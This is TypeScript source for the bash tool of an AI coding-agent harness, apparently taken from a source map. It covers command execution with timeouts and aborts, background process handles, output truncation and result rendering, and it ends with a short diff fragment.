hasGrammarSensitiveStructure(segment) ? segment : normalizeSegment(segment);\n\t\t},\n\t};\n}\n\nexport interface BashExecutionFacts {\n\tcwd: string;\n\texecutable?: string;\n\targv?: string[];\n\texitCode: number | null;\n}\n\nexport interface BashToolDetails {\n\ttruncation?: TruncationResult;\n\tfullOutputPath?: string;\n\t/** Facts observed at the source execution boundary; never rendered as output. */\n\texecution?: BashExecutionFacts;\n}\n\n/**\n * Pluggable operations for the bash tool.\n * Override these to delegate command execution to remote systems (for example SSH).\n */\nexport interface BashOperations {\n\t/**\n\t * Execute a command and stream output.\n\t * @param command The command to execute\n\t * @param cwd Working directory\n\t * @param options Execution options\n\t * @returns Promise resolving to exit code (null if killed)\n\t */\n\texec: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tsignal?: AbortSignal;\n\t\t\ttimeout?: number;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<{ exitCode: number | null; executable?: string; argv?: string[] }>;\n\t/**\n\t * Optional. Spawn a command that outlives the call, returning as soon as the\n\t * process exists. Backends that cannot background leave this undefined, and\n\t * the bash tool then rejects `background: true` with a model-readable error\n\t * rather than degrading (spec 2026-08-31-background-shell.md).\n\t */\n\tspawnBackground?: (\n\t\tcommand: string,\n\t\tcwd: string,\n\t\toptions: {\n\t\t\tonData: (data: Buffer) => void;\n\t\t\tenv?: NodeJS.ProcessEnv;\n\t\t},\n\t) => Promise<BashBackgroundProcess>;\n}\n\nexport interface BashBackgroundProcess {\n\tpid: number | undefined;\n\texited: Promise<number | null>;\n}\n\n/** Shared process execution used by the built-in shell tools. */\nexport function createLocalShellOperations(shellName: string, resolveShellConfig: () => ShellConfig): BashOperations {\n\treturn {\n\t\texec: async (command, cwd, { onData, signal, timeout, env }) => {\n\t\t\tconst timeoutMs = resolveTimeoutMs(timeout);\n\t\t\tif (signal?.aborted) {\n\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t}\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tlet timedOut = false;\n\t\t\tlet timeoutHandle: NodeJS.Timeout | undefined;\n\t\t\tconst onAbort = () => {\n\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t};\n\n\t\t\ttry {\n\t\t\t\t// Set timeout if provided.\n\t\t\t\tif (timeoutMs !== undefined) {\n\t\t\t\t\ttimeoutHandle = setTimeout(() => {\n\t\t\t\t\t\ttimedOut = true;\n\t\t\t\t\t\tif (child.pid) killProcessTree(child.pid);\n\t\t\t\t\t}, timeoutMs);\n\t\t\t\t}\n\t\t\t\t// Stream stdout and stderr.\n\t\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\t\t// Handle abort signal by killing the entire process tree.\n\t\t\t\tif (signal) {\n\t\t\t\t\tif (signal.aborted) onAbort();\n\t\t\t\t\telse signal.addEventListener(\"abort\", onAbort, { once: true });\n\t\t\t\t}\n\t\t\t\t// Handle shell spawn errors and wait for the process to terminate without hanging\n\t\t\t\t// on inherited stdio handles held by detached descendants.\n\t\t\t\tconst exitCode = await waitForChildProcess(child);\n\t\t\t\tif (signal?.aborted) {\n\t\t\t\t\tthrow new Error(\"aborted\");\n\t\t\t\t}\n\t\t\t\tif (timedOut) {\n\t\t\t\t\tthrow new Error(`timeout:${timeout}`);\n\t\t\t\t}\n\t\t\t\treturn {\n\t\t\t\t\texitCode,\n\t\t\t\t\texecutable: shellConfig.shell,\n\t\t\t\t\targv: commandFromStdin ? [...shellConfig.args] : [...shellConfig.args, command],\n\t\t\t\t};\n\t\t\t} finally {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t\tif (timeoutHandle) clearTimeout(timeoutHandle);\n\t\t\t\tif (signal) signal.removeEventListener(\"abort\", onAbort);\n\t\t\t}\n\t\t},\n\t\tspawnBackground: async (command, cwd, { onData, env }) => {\n\t\t\tconst shellConfig = resolveShellConfig();\n\t\t\ttry {\n\t\t\t\tawait fsAccess(cwd, constants.F_OK);\n\t\t\t} catch {\n\t\t\t\tthrow new Error(`Working directory does not exist: ${cwd}\\nCannot execute ${shellName} commands.`);\n\t\t\t}\n\t\t\tconst commandFromStdin = shellConfig.commandTransport === \"stdin\";\n\t\t\tconst child = spawn(shellConfig.shell, commandFromStdin ? shellConfig.args : [...shellConfig.args, command], {\n\t\t\t\tcwd,\n\t\t\t\tdetached: process.platform !== \"win32\",\n\t\t\t\tenv: env ?? getShellEnv(),\n\t\t\t\tstdio: [commandFromStdin ? \"pipe\" : \"ignore\", \"pipe\", \"pipe\"],\n\t\t\t\twindowsHide: true,\n\t\t\t});\n\t\t\tif (commandFromStdin) {\n\t\t\t\tchild.stdin?.on(\"error\", () => {});\n\t\t\t\tchild.stdin?.end(command);\n\t\t\t}\n\t\t\tif (child.pid) trackDetachedChildPid(child.pid);\n\t\t\tchild.stdout?.on(\"data\", onData);\n\t\t\tchild.stderr?.on(\"data\", onData);\n\t\t\tconst exited = waitForChildProcess(child).finally(() => {\n\t\t\t\tif (child.pid) untrackDetachedChildPid(child.pid);\n\t\t\t});\n\t\t\treturn { pid: child.pid, exited };\n\t\t},\n\t};\n}\n\n/**\n * Create bash operations using pi's built-in local shell execution backend.\n *\n * This is useful for extensions that intercept user_bash and still want pi's\n * standard local shell behavior while wrapping or rewriting commands.\n */\nexport function createLocalBashOperations(options?: { shellPath?: string }): BashOperations {\n\treturn createLocalShellOperations(\"bash\", () => getShellConfig(options?.shellPath));\n}\n\nexport interface BashSpawnContext {\n\tcommand: string;\n\tcwd: string;\n\tenv: NodeJS.ProcessEnv;\n}\n\nexport type BashSpawnHook = (context: BashSpawnContext) => BashSpawnContext;\n\nfunction resolveSpawnContext(\n\tcommand: string,\n\tcwd: string,\n\tspawnHook: BashSpawnHook | undefined,\n\texposeSessionEnvironment: boolean,\n\tctx: ExtensionContext | undefined,\n): BashSpawnContext {\n\tconst env = { ...getShellEnv() };\n\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_SESSION_FILE\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_MODEL\", undefined, env);\n\tsetApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", undefined, env);\n\tif (exposeSessionEnvironment && ctx) {\n\t\tconst model = ctx.model;\n\t\tsetApexEnvironment(\"APEX_CODE_SESSION_ID\", ctx.sessionManager.getSessionId(), env);\n\t\tconst sessionFile = ctx.sessionManager.getSessionFile();\n\t\tif (sessionFile) setApexEnvironment(\"APEX_CODE_SESSION_FILE\", sessionFile, env);\n\t\tif (model) {\n\t\t\tsetApexEnvironment(\"APEX_CODE_PROVIDER\", model.provider, env);\n\t\t\tsetApexEnvironment(\"APEX_CODE_MODEL\", model.id, env);\n\t\t}\n\t\tif (ctx.thinkingLevel) setApexEnvironment(\"APEX_CODE_REASONING_LEVEL\", ctx.thinkingLevel, env);\n\t}\n\tconst baseContext: BashSpawnContext = { command, cwd, env };\n\treturn spawnHook ? spawnHook(baseContext) : baseContext;\n}\n\nexport interface BashToolOptions {\n\t/** Custom operations for command execution. Default: local shell */\n\toperations?: BashOperations;\n\t/** Command prefix prepended to every command (for example shell setup commands) */\n\tcommandPrefix?: string;\n\t/** Optional explicit shell path from settings */\n\tshellPath?: string;\n\t/** Expose current Pi session metadata as PI_* environment variables. Default: true */\n\texposeSessionEnvironment?: boolean;\n\t/** Hook to adjust command, cwd, or env before execution */\n\tspawnHook?: BashSpawnHook;\n\t/**\n\t * Background-shell registry (spec 2026-08-31-background-shell.md). Absent\n\t * gets a per-definition registry; the session passes its own so background\n\t * children are killed when the session disposes.\n\t */\n\tbackgroundRegistry?: BackgroundShellRegistry;\n}\n\nconst BASH_PREVIEW_LINES = 5;\nconst BASH_UPDATE_THROTTLE_MS = 100;\n\nexport type BashRenderState = {\n\tstartedAt: number | undefined;\n\tendedAt: number | undefined;\n\tinterval: NodeJS.Timeout | undefined;\n};\n\ntype BashResultRenderState = {\n\tcachedWidth: number | undefined;\n\tcachedLines: string[] | undefined;\n\tcachedSkipped: number | undefined;\n};\n\nclass BashResultRenderComponent extends Container {\n\tstate: BashResultRenderState = {\n\t\tcachedWidth: undefined,\n\t\tcachedLines: undefined,\n\t\tcachedSkipped: undefined,\n\t};\n}\n\nfunction formatDuration(ms: number): string {\n\treturn `${(ms / 1000).toFixed(1)}s`;\n}\n\nexport function formatShellCall(\n\targs: { command?: string; timeout?: number; handle?: string; kill?: boolean } | undefined,\n\tprompt: string,\n): string {\n\tconst invalid = () => theme.fg(\"toolTitle\", theme.bold(`${prompt} ${invalidArgText(theme)}`));\n\tconst command = str(args?.command);\n\tconst handle = str(args?.handle);\n\tif (command === null || handle === null) return invalid();\n\n\tconst parsed = parseShellOperation(args ?? {});\n\tif (!parsed.ok) {\n\t\t// Arguments still arriving name no operation yet, so they render as a\n\t\t// placeholder. Anything that already names one and still fails to parse is\n\t\t// rejected at execution, and naming its command would describe something\n\t\t// that never runs.\n\t\tif (!command && !handle) {\n\t\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${theme.fg(\"toolOutput\", \"...\")}`));\n\t\t}\n\t\treturn invalid();\n\t}\n\tif (parsed.operation.kind !== \"run\") {\n\t\tconst suffix = parsed.operation.kind === \"kill\" ? \" · kill\" : \"\";\n\t\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.handle}${suffix}`));\n\t}\n\tconst timeoutSuffix = parsed.operation.timeout ? theme.fg(\"muted\", ` (timeout ${parsed.operation.timeout}s)`) : \"\";\n\treturn theme.fg(\"toolTitle\", theme.bold(`${prompt} ${parsed.operation.command}`)) + timeoutSuffix;\n}\n\nfunction rebuildBashResultRenderComponent(\n\tcomponent: BashResultRenderComponent,\n\tresult: {\n\t\tcontent: Array<{ type: string; text?: string; data?: string; mimeType?: string }>;\n\t\tdetails?: BashToolDetails;\n\t},\n\toptions: ToolRenderResultOptions,\n\tshowImages: boolean,\n\tstartedAt: number | undefined,\n\tendedAt: number | undefined,\n): void {\n\tconst state = component.state;\n\tcomponent.clear();\n\n\tlet output = getTextOutput(result as any, showImages).trim();\n\tconst truncation = result.details?.truncation;\n\tconst fullOutputPath = result.details?.fullOutputPath;\n\tif (!options.isPartial && truncation?.truncated && fullOutputPath && output.endsWith(\"]\")) {\n\t\tconst footerStart = output.lastIndexOf(\"\\n\\n[\");\n\t\tif (footerStart !== -1 && output.slice(footerStart).includes(fullOutputPath)) {\n\t\t\toutput = output.slice(0, footerStart).trimEnd();\n\t\t}\n\t}\n\n\tif (output) {\n\t\tconst styledOutput = output\n\t\t\t.split(\"\\n\")\n\t\t\t.map((line) => theme.fg(\"toolOutput\", line))\n\t\t\t.join(\"\\n\");\n\n\t\tif (options.expanded) {\n\t\t\tcomponent.addChild(new Text(`\\n${styledOutput}`, 0, 0));\n\t\t} else {\n\t\t\tcomponent.addChild({\n\t\t\t\trender: (width: number) => {\n\t\t\t\t\tif (state.cachedLines === undefined || state.cachedWidth !== width) {\n\t\t\t\t\t\tconst preview = truncateToVisualLines(styledOutput, BASH_PREVIEW_LINES, width);\n\t\t\t\t\t\tstate.cachedLines = preview.visualLines;\n\t\t\t\t\t\tstate.cachedSkipped = preview.skippedCount;\n\t\t\t\t\t\tstate.cachedWidth = width;\n\t\t\t\t\t}\n\t\t\t\t\tif (state.cachedSkipped && state.cachedSkipped > 0) {\n\t\t\t\t\t\tconst hint =\n\t\t\t\t\t\t\ttheme.fg(\"muted\", `... (${state.cachedSkipped} earlier lines,`) +\n\t\t\t\t\t\t\t` ${keyHint(\"app.tools.expand\", \"to expand\")}${theme.fg(\"muted\", \")\")}`;\n\t\t\t\t\t\treturn [\"\", truncateToWidth(hint, width, \"...\"), ...(state.cachedLines ?? [])];\n\t\t\t\t\t}\n\t\t\t\t\treturn [\"\", ...(state.cachedLines ?? [])];\n\t\t\t\t},\n\t\t\t\tinvalidate: () => {\n\t\t\t\t\tstate.cachedWidth = undefined;\n\t\t\t\t\tstate.cachedLines = undefined;\n\t\t\t\t\tstate.cachedSkipped = undefined;\n\t\t\t\t},\n\t\t\t});\n\t\t}\n\t}\n\n\tif (truncation?.truncated || fullOutputPath) {\n\t\tconst warnings: string[] = [];\n\t\tif (fullOutputPath) {\n\t\t\twarnings.push(`Full output: ${fullOutputPath}`);\n\t\t}\n\t\tif (truncation?.truncated) {\n\t\t\tif (truncation.truncatedBy === \"lines\") {\n\t\t\t\twarnings.push(`Truncated: showing ${truncation.outputLines} of ${truncation.totalLines} lines`);\n\t\t\t} else {\n\t\t\t\twarnings.push(\n\t\t\t\t\t`Truncated: ${truncation.outputLines} lines shown (${formatSize(truncation.maxBytes ?? DEFAULT_MAX_BYTES)} limit)`,\n\t\t\t\t);\n\t\t\t}\n\t\t}\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"warning\", `[${warnings.join(\". \")}]`)}`, 0, 0));\n\t}\n\n\tif (startedAt !== undefined) {\n\t\tconst label = options.isPartial ? \"Elapsed\" : \"Took\";\n\t\tconst endTime = endedAt ?? Date.now();\n\t\tcomponent.addChild(new Text(`\\n${theme.fg(\"muted\", `${label} ${formatDuration(endTime - startedAt)}`)}`, 0, 0));\n\t}\n}\n\nexport interface ShellToolConfig {\n\tname: string;\n\tlabel: string;\n\tshellName: string;\n\tprompt: string;\n\tpromptSnippet: string;\n\tpromptGuidelines?: readonly string[];\n\ttempFilePrefix: string;\n}\n\nexport function createShellToolDefinition(\n\tcwd: string,\n\tconfig: ShellToolConfig,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\tconst ops = options?.operations ?? createLocalBashOperations({ shellPath: options?.shellPath });\n\tconst commandPrefix = options?.commandPrefix;\n\tconst exposeSessionEnvironment = options?.exposeSessionEnvironment ?? true;\n\tconst spawnHook = options?.spawnHook;\n\tconst registry = options?.backgroundRegistry ?? createBackgroundShellRegistry();\n\n\t// Background handle calls (retrieve and kill) never touch the foreground\n\t// execution path, so the post-hoc escalation offer below is unreachable from\n\t// them by construction; the refusal note in `executeHandleCall` tells the\n\t// model a foreground rerun gets the offer (spec, Non-goals).\n\tconst unknownHandleError = (handle: string) => {\n\t\tconst known = registry.handles();\n\t\treturn new ToolExecutionError(\n\t\t\t`Unknown background handle: ${handle}.${known.length > 0 ? ` Known handles: ${known.join(\", \")}` : \" No background commands have been launched.\"}`,\n\t\t\tundefined,\n\t\t);\n\t};\n\tconst executeHandleCall = async (\n\t\thandleInput: { kind: \"retrieve\"; handle: string } | { kind: \"kill\"; handle: string },\n\t): Promise<AgentToolResult<BashToolDetails | undefined>> => {\n\t\tif (handleInput.kind === \"kill\") {\n\t\t\tconst status = registry.kill(handleInput.handle);\n\t\t\tif (!status) throw unknownHandleError(handleInput.handle);\n\t\t\tconst state = status.running ? \"kill signal sent\" : `already exited (code ${status.exitCode})`;\n\t\t\treturn {\n\t\t\t\tcontent: [{ type: \"text\", text: `[background] ${handleInput.handle}: ${state}` }],\n\t\t\t\tdetails: undefined,\n\t\t\t};\n\t\t}\n\t\tconst retrieved = await registry.retrieve(handleInput.handle);\n\t\tif (!retrieved) throw unknownHandleError(handleInput.handle);\n\t\tconst { status, snapshot } = retrieved;\n\t\tconst elapsed = ((Date.now() - status.startedAt) / 1000).toFixed(1);\n\t\tconst header = status.running\n\t\t\t? `[background] ${handleInput.handle}: running ${elapsed}s`\n\t\t\t: `[background] ${handleInput.handle}: ${status.killed ? \"killed\" : \"exited\"} (code ${status.exitCode}) after ${elapsed}s`;\n\t\tlet text = `${header}\\n\\n${snapshot.content || \"(no output)\"}`;\n\t\tconst truncation = snapshot.truncation;\n\t\tif (truncation.truncated && snapshot.fullOutputPath) {\n\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${truncation.totalLines} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t}\n\t\treturn {\n\t\t\tcontent: [{ type: \"text\", text }],\n\t\t\tdetails: {\n\t\t\t\ttruncation: truncation.truncated ? truncation : undefined,\n\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\texecution: { cwd, exitCode: status.exitCode ?? null },\n\t\t\t} satisfies BashToolDetails,\n\t\t};\n\t};\n\treturn {\n\t\tname: config.name,\n\t\tlabel: config.label,\n\t\tdescription: `Execute a ${config.shellName} command in the current working directory. Returns stdout and stderr. Output is truncated to last ${DEFAULT_MAX_LINES} lines or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). If truncated, full output is saved to a temp file. Optionally provide a timeout in seconds.`,\n\t\tpromptSnippet: config.promptSnippet,\n\t\tpromptGuidelines: exposeSessionEnvironment && config.promptGuidelines ? [...config.promptGuidelines] : undefined,\n\t\tparameters: bashSchema,\n\t\tcontract: {\n\t\t\tcapabilities: new Set([\"exec\"]),\n\t\t\tpermission: createBashPermissionSpec(),\n\t\t\tcontext: { resultRecoverable: false, deferSchema: false },\n\t\t\tevidence: {\n\t\t\t\temits: new Set([\"command\"]),\n\t\t\t\tcapture: (params, result) => {\n\t\t\t\t\tconst execution = result.details?.execution;\n\t\t\t\t\t// Retrieve and kill calls carry a handle; resolve it back to the\n\t\t\t\t\t// command that produced the output so the record shows what ran.\n\t\t\t\t\tconst parsed = parseShellOperation(params);\n\t\t\t\t\tconst command = !parsed.ok\n\t\t\t\t\t\t? \"(rejected shell call)\"\n\t\t\t\t\t\t: parsed.operation.kind === \"run\"\n\t\t\t\t\t\t\t? parsed.operation.command\n\t\t\t\t\t\t\t: (registry.commandFor(parsed.operation.handle) ?? parsed.operation.handle);\n\t\t\t\t\treturn execution ? [{ kind: \"command\", command, ...execution }] : [{ kind: \"command\", command }];\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tconstrainedSampling: getExperimentalToolSampling(),\n\t\tasync execute(_toolCallId, input: BashToolInput, signal?: AbortSignal, onUpdate?, ctx?) {\n\t\t\tconst parsed = parseShellOperation(input);\n\t\t\tif (!parsed.ok) throw new ToolExecutionError(parsed.reason, undefined);\n\t\t\tif (parsed.operation.kind !== \"run\") {\n\t\t\t\treturn await executeHandleCall(parsed.operation);\n\t\t\t}\n\t\t\tconst { command, timeout, background } = parsed.operation;\n\t\t\tconst resolvedCommand = commandPrefix ? `${commandPrefix}\\n${command}` : command;\n\t\t\tconst spawnContext = resolveSpawnContext(resolvedCommand, cwd, spawnHook, exposeSessionEnvironment, ctx);\n\n\t\t\tif (background) {\n\t\t\t\tconst spawnBg = ops.spawnBackground;\n\t\t\t\tif (!spawnBg) {\n\t\t\t\t\tthrow new ToolExecutionError(\n\t\t\t\t\t\t\"This shell backend does not support background execution. Run the command in the foreground instead.\",\n\t\t\t\t\t\tundefined,\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\t\tconst launched = await spawnBg(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\tonData: (data) => output.append(data),\n\t\t\t\t});\n\t\t\t\tconst handle = registry.launch({\n\t\t\t\t\tcommand: spawnContext.command,\n\t\t\t\t\tpid: launched.pid,\n\t\t\t\t\toutput,\n\t\t\t\t\texited: launched.exited,\n\t\t\t\t});\n\t\t\t\treturn {\n\t\t\t\t\tcontent: [\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttype: \"text\",\n\t\t\t\t\t\t\ttext: `[background] launched with handle ${handle}\\nRetrieve its output: { \"handle\": \"${handle}\" }\\nKill it: { \"handle\": \"${handle}\", \"kill\": true }`,\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\tdetails: { execution: { cwd: spawnContext.cwd, exitCode: null } },\n\t\t\t\t};\n\t\t\t}\n\n\t\t\tconst output = new OutputAccumulator({ tempFilePrefix: config.tempFilePrefix });\n\t\t\tlet acceptingOutput = true;\n\t\t\tlet updateTimer: NodeJS.Timeout | undefined;\n\t\t\tlet updateDirty = false;\n\t\t\tlet lastUpdateAt = 0;\n\n\t\t\tconst emitOutputUpdate = () => {\n\t\t\t\tif (!onUpdate || !updateDirty) return;\n\t\t\t\tupdateDirty = false;\n\t\t\t\tlastUpdateAt = Date.now();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tonUpdate({\n\t\t\t\t\tcontent: [{ type: \"text\", text: snapshot.content || \"\" }],\n\t\t\t\t\tdetails: {\n\t\t\t\t\t\ttruncation: snapshot.truncation.truncated ? snapshot.truncation : undefined,\n\t\t\t\t\t\tfullOutputPath: snapshot.fullOutputPath,\n\t\t\t\t\t},\n\t\t\t\t});\n\t\t\t};\n\n\t\t\tconst clearUpdateTimer = () => {\n\t\t\t\tif (updateTimer) {\n\t\t\t\t\tclearTimeout(updateTimer);\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t}\n\t\t\t};\n\n\t\t\tconst scheduleOutputUpdate = () => {\n\t\t\t\tif (!onUpdate) return;\n\t\t\t\tupdateDirty = true;\n\t\t\t\tconst delay = BASH_UPDATE_THROTTLE_MS - (Date.now() - lastUpdateAt);\n\t\t\t\tif (delay <= 0) {\n\t\t\t\t\tclearUpdateTimer();\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\tupdateTimer ??= setTimeout(() => {\n\t\t\t\t\tupdateTimer = undefined;\n\t\t\t\t\temitOutputUpdate();\n\t\t\t\t}, delay);\n\t\t\t};\n\n\t\t\tif (onUpdate) {\n\t\t\t\tonUpdate({ content: [], details: undefined });\n\t\t\t}\n\n\t\t\tconst handleData = (data: Buffer) => {\n\t\t\t\tif (!acceptingOutput) return;\n\t\t\t\toutput.append(data);\n\t\t\t\tscheduleOutputUpdate();\n\t\t\t};\n\n\t\t\tconst finishOutput = async () => {\n\t\t\t\tacceptingOutput = false;\n\t\t\t\toutput.finish();\n\t\t\t\tclearUpdateTimer();\n\t\t\t\temitOutputUpdate();\n\t\t\t\tconst snapshot = output.snapshot({ persistIfTruncated: true });\n\t\t\t\tawait output.closeTempFile();\n\t\t\t\treturn snapshot;\n\t\t\t};\n\n\t\t\tconst formatOutput = (snapshot: Awaited<ReturnType<typeof finishOutput>>, emptyText = \"(no output)\") => {\n\t\t\t\tconst truncation = snapshot.truncation;\n\t\t\t\tlet text = snapshot.content || emptyText;\n\t\t\t\tlet details: BashToolDetails | undefined;\n\t\t\t\tif (truncation.truncated) {\n\t\t\t\t\tdetails = { truncation, fullOutputPath: snapshot.fullOutputPath };\n\t\t\t\t\tconst startLine = truncation.totalLines - truncation.outputLines + 1;\n\t\t\t\t\tconst endLine = truncation.totalLines;\n\t\t\t\t\tif (truncation.lastLinePartial) {\n\t\t\t\t\t\tconst lastLineSize = formatSize(output.getLastLineBytes());\n\t\t\t\t\t\ttext += `\\n\\n[Showing last ${formatSize(truncation.outputBytes)} of line ${endLine} (line is ${lastLineSize}). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else if (truncation.truncatedBy === \"lines\") {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines}. Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t} else {\n\t\t\t\t\t\ttext += `\\n\\n[Showing lines ${startLine}-${endLine} of ${truncation.totalLines} (${formatSize(DEFAULT_MAX_BYTES)} limit). Full output: ${snapshot.fullOutputPath}]`;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn { text, details };\n\t\t\t};\n\n\t\t\tconst appendStatus = (text: string, status: string) => `${text ? `${text}\\n\\n` : \"\"}${status}`;\n\n\t\t\ttry {\n\t\t\t\tlet exitCode: number | null;\n\t\t\t\tlet execution: BashExecutionFacts;\n\t\t\t\ttry {\n\t\t\t\t\tconst result = await ops.exec(spawnContext.command, spawnContext.cwd, {\n\t\t\t\t\t\tonData: handleData,\n\t\t\t\t\t\tsignal,\n\t\t\t\t\t\ttimeout,\n\t\t\t\t\t\tenv: spawnContext.env,\n\t\t\t\t\t});\n\t\t\t\t\texitCode = result.exitCode;\n\t\t\t\t\texecution = {\n\t\t\t\t\t\tcwd: spawnContext.cwd,\n\t\t\t\t\t\texecutable: result.executable,\n\t\t\t\t\t\targv: result.argv,\n\t\t\t\t\t\texitCode,\n\t\t\t\t\t};\n\t\t\t\t} catch (err) {\n\t\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\t\tconst { text } = formatOutput(snapshot, \"\");\n\t\t\t\t\tconst interruptedExecution: BashExecutionFacts = { cwd: spawnContext.cwd, exitCode: null };\n\t\t\t\t\tif (err instanceof Error && err.message === \"aborted\") {\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, \"Command aborted\"), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tif (err instanceof Error && err.message.startsWith(\"timeout:\")) {\n\t\t\t\t\t\tconst timeoutSecs = err.message.split(\":\")[1];\n\t\t\t\t\t\tthrow new ToolExecutionError(appendStatus(text, `Command timed out after ${timeoutSecs} seconds`), {\n\t\t\t\t\t\t\texecution: interruptedExecution,\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t\tthrow err;\n\t\t\t\t}\n\n\t\t\t\tconst snapshot = await finishOutput();\n\t\t\t\tconst { text: outputText, details } = formatOutput(snapshot);\n\t\t\t\tconst resultDetails: BashToolDetails = { ...details, execution };\n\t\t\t\tif (exitCode !== 0 && exitCode !== null) {\n\t\t\t\t\tthrow new ToolExecutionError(appendStatus(outputText, `Command exited with code ${exitCode}`), {\n\t\t\t\t\t\texecution,\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn { content: [{ type: \"text\", text: outputText }], details: resultDetails };\n\t\t\t} finally {\n\t\t\t\tclearUpdateTimer();\n\t\t\t}\n\t\t},\n\t\trenderCall(args, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (context.executionStarted && state.startedAt === undefined) {\n\t\t\t\tstate.startedAt = Date.now();\n\t\t\t\tstate.endedAt = undefined;\n\t\t\t}\n\t\t\tconst text = (context.lastComponent as Text | undefined) ?? new Text(\"\", 0, 0);\n\t\t\ttext.setText(formatShellCall(args, config.prompt));\n\t\t\treturn text;\n\t\t},\n\t\trenderResult(result, options, _theme, context) {\n\t\t\tconst state = context.state;\n\t\t\tif (state.startedAt !== undefined && options.isPartial && !state.interval) {\n\t\t\t\tstate.interval = setInterval(() => context.invalidate(), 1000);\n\t\t\t}\n\t\t\tif (!options.isPartial || context.isError) {\n\t\t\t\tstate.endedAt ??= Date.now();\n\t\t\t\tif (state.interval) {\n\t\t\t\t\tclearInterval(state.interval);\n\t\t\t\t\tstate.interval = undefined;\n\t\t\t\t}\n\t\t\t}\n\t\t\tconst component =\n\t\t\t\t(context.lastComponent as BashResultRenderComponent | undefined) ?? new BashResultRenderComponent();\n\t\t\trebuildBashResultRenderComponent(\n\t\t\t\tcomponent,\n\t\t\t\tresult as any,\n\t\t\t\toptions,\n\t\t\t\tcontext.showImages,\n\t\t\t\tstate.startedAt,\n\t\t\t\tstate.endedAt,\n\t\t\t);\n\t\t\tcomponent.invalidate();\n\t\t\treturn component;\n\t\t},\n\t};\n}\n\nconst bashToolConfig: ShellToolConfig = {\n\tname: \"bash\",\n\tlabel: \"bash\",\n\tshellName: \"bash\",\n\tprompt: \"$\",\n\tpromptSnippet: bashToolSystemPromptContribution.snippet,\n\tpromptGuidelines: bashToolSystemPromptContribution.guidelines,\n\ttempFilePrefix: \"apex-code-bash\",\n};\n\nexport function createBashToolDefinition(\n\tcwd: string,\n\toptions?: BashToolOptions,\n): ApexToolDefinition<typeof bashSchema, BashToolDetails | undefined, BashRenderState> {\n\treturn createShellToolDefinition(cwd, bashToolConfig, options);\n}\n\nexport function createBashTool(cwd: string, options?: BashToolOptions): AgentTool<typeof bashSchema> {\n\tconst definition = createBashToolDefinition(cwd, options);\n\tconst tool = wrapToolDefinition(definition);\n\tObject.assign(tool, {\n\t\tpromptSnippet: definition.promptSnippet,\n\t\tpromptGuidelines: definition.promptGuidelines,\n\t});\n\treturn tool;\n}\n"]}
@@ -16,6 +16,7 @@ import { classifyBashCommand } from "./bash-command-segments.js";
16
16
  import { toolUnion } from "./contract.js";
17
17
  import { OutputAccumulator } from "./output-accumulator.js";
18
18
  import { getTextOutput, invalidArgText, str } from "./render-utils.js";
19
